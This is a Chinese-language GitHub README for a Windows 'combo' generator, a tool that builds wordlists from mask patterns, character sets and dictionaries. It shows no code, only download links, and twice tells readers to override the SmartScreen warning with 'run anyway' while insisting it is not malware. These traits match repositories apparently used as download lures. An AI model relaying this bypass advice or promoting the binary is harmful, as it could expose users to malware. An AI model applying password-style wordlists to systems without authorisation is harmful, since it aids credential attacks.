EndDyerDerrick/combo-gen-tool

GitHub: EndDyerDerrick/combo-gen-tool

一款 Windows 原生的组合字典生成工具,通过模式掩码和字符集规则快速构建结构化的排列组合集。

Stars: 0 | Forks: 0

Combo Generator banner # combo-gen-tool 🧪⚡ ![Version](https://img.shields.io/badge/version-2026-blue?style=for-the-badge) ![Windows](https://img.shields.io/badge/platform-Windows-0078d4?style=for-the-badge&logo=windows&logoColor=white) ![License](https://img.shields.io/badge/license-MIT-green?style=for-the-badge) *一款真正尊重你的 CPU、你的时间以及你理智的 combo 生成器。*
## 🎯 概述 坦白说——市面上大多数“combo 生成器”工具,要么是 2014 年那种臃肿且怪异的 Java 老古董,要么是那种你根本不敢运行第二次的粗制滥造的单文件脚本。**combo-gen-tool** 绝不是这两者。它是一个专为 Windows 原生构建的实用工具,用于根据自定义规则集生成结构化的字典和组合集——想象一下字符池、长度范围、模式掩码和字典融合,所有这些都封装在一个看起来并非由讨厌你的人设计的界面中。 为什么会有这个工具?因为组合学工具已经停滞了十年。QA 工程师需要用于模糊测试的排列集。安全研究人员需要用于授权渗透测试的自定义字典。开发人员需要遵循特定模式的海量测试数据。构建密码强度演示的爱好者需要可信的样本集。所有这些人都陷入了两难的境地:要么选择古老的废弃软件,要么每次都从头开始构建自己的生成器。我们厌倦了这种循环,所以我们构建了这个我们一直希望存在的工具。 这是为谁准备的?如果你从事与数据生成、QA 自动化、授权安全研究相关的工作,或者你只是单纯觉得组合学令人愉悦(不用不好意思,我们懂你)——这就是你的工具箱。它并不试图包揽一切。它只想成为那*一款*快速、可预测,且不会在让你导出文件之前问你十五个问题的 combo 生成器。

Download

## 🔥 核心亮点 | 功能 | 具体作用 | |---|---| | **模式掩码** | 定义如 `?u?l?l?d?d` 的精确结构,引擎会构建匹配该骨架的每一个有效组合——无需猜测,拒绝浪费。 | | **字符集雕琢** | 可以按位置混合自定义字符池(大写字母、小写字母、数字、符号或你自定义的字母表),而不仅仅是全局设置。 | | **字典融合** | 将字典与生成的片段进行融合,使得输出结果具有结构感,而不是杂乱无章的随机噪声。 | | **范围长度控制** | 独立设置最小/最大长度,让生成器一次性扫过整个范围。 | | **实时输出流** | 实时观看组合不断生成填补,而不是死死盯着一个冻结的进度条,祈祷它没有崩溃。 | | **重复抑制** | 内置去重逻辑,确保你的输出文件不会暗中包含 40% 的冗余垃圾。 | | **导出格式控制** | 纯文本 `.txt`、按大小分块文件或分隔符分隔的输出——选择你的下游工具实际支持的格式。 | | **会话快照** | 暂停庞大的生成任务,稍后再恢复,且不会丢失当前进度。 | ## 🚀 快速上手 开始使用所花费的时间比阅读本节内容还要少: 1. 点击上方(或下方,我们不挑的)的下载按钮,进入下载页面。 2. 获取最新的 Windows 构建版本——它是一个单一可执行文件,没有那种繁琐的安装向导。 3. 运行它。由于这是一个较小的独立项目,Windows SmartScreen 可能会发出警告——点击“更多信息”→“仍要运行”。 4. 设置你的模式、字符集或字典来源,点击 **Generate**,然后导出。 就是这样。无需账户,无需同意遥测,无需十五个步骤的新手教程。 ## 💻 系统要求 - Windows 10 或 Windows 11 (64 位) - 独立可执行文件 —— 零外部依赖 - 应用程序本身需要约 50MB 的可用磁盘空间 - 额外的磁盘空间随你的输出大小而定(庞大的组合集可能会变得非常*庞大*,请提前规划) - 标准使用无需管理员权限 ![Standalone](https://img.shields.io/badge/dependencies-none-success?style=flat-square) ![Build](https://img.shields.io/badge/build-native-informational?style=flat-square) ![Status](https://img.shields.io/badge/status-active-brightgreen?style=flat-square) ## ⚙️ 工作原理 内部流水线刻意保持简单——对于一款需要在凌晨 2 点你项目进行到一半时必须可靠运行的工具来说,复杂性是其大敌: 1. **输入解析** —— 你的模式、字符集规则或字典文件将经过验证和标准化。 2. **组合规划** —— 引擎会预先计算总输出大小,让你在开始之前就清楚自己将面临什么。 3. **生成阶段** —— 组合分批次生成,采用流式传输而不是全部驻留在内存中。 4. **去重与过滤** —— 可选的过滤器会剔除重复项或不符合次要约束的条目。 5. **导出** —— 结果以你选择的格式生成,必要时会进行分块。 ``` flowchart LR Input --> Planner Planner --> Generator Generator --> Filter Filter --> Output ``` ## 🧩 故障排除角落
应用无法启动 —— Windows 提示“无法识别”。 对于没有大型知名代码签名证书的较小型独立发布工具来说,这是标准的 SmartScreen 行为。点击“更多信息”,然后点击“仍要运行”。它不是恶意软件,只是它并非出自世界500强企业之手。
生成过程似乎在极其庞大的组合数量处卡住了。 它很可能没有卡死——它正在进行流式处理。极其庞大的字符集加上长度组合可能会产生数十亿个结果。查看实时计数器;如果数字在攀升,说明它正在工作。如果你不需要全部范围,请考虑缩小长度范围。
我的导出文件比预期大得多。 组合学的增长速度极快。在字符池中增加一个额外的字符,或者在长度范围中增加一个额外的位置,都可能使输出大小成倍增加。在正式完整运行之前,请先使用“规划”步骤提供的大小估算功能。
字典融合没有按照我的预期进行混合。 仔细检查你的锚点位置设置——融合模式将字典条目视为固定片段,而不是可变片段。如果你希望字典部分*内部*也有变化,请针对该片段切换为模式掩码。
我可以同时运行多个生成任务吗? 目前不可以——为了保持内存占用的可预测性,引擎在设计上就是单会话的。请改为按顺序排队执行你的任务;“会话快照”功能让这一切变得毫无痛苦。
## 🎨 界面与体验 UI 刻意偏向极简主义——面板更少,清晰度更高。 - `Ctrl + G` — 开始生成 - `Ctrl + S` — 保存当前会话快照 - `Ctrl + E` — 导出当前输出 - `Esc` — 暂停当前生成 主题:Light、Dark,以及一个真正精美的 **Amber** 主题,看起来绝对不是随意挑选的(确实不是——团队中有人对色彩对比度有着强烈的执念)。 设置会在不同会话之间于本地保留——没有云同步,无需账户,你的配置就是……会原封不动地留在那里。我们懂,这概念很新颖。 ## 📜 许可证 基于 [MIT License](LICENSE) 发布,2026 年。随意使用、分支并在此基础上构建——只需保留许可证声明不变即可。 ## ⚠️ 免责声明 combo-gen-tool 按“原样”提供,仅用于合法、授权和教育目的。维护者不对本软件的滥用承担责任。在对任何非你自有的系统、服务或数据集应用生成的组合之前,请务必确保你已获得适当的授权。

Download

标签:后端开发, 数据生成, 测试工具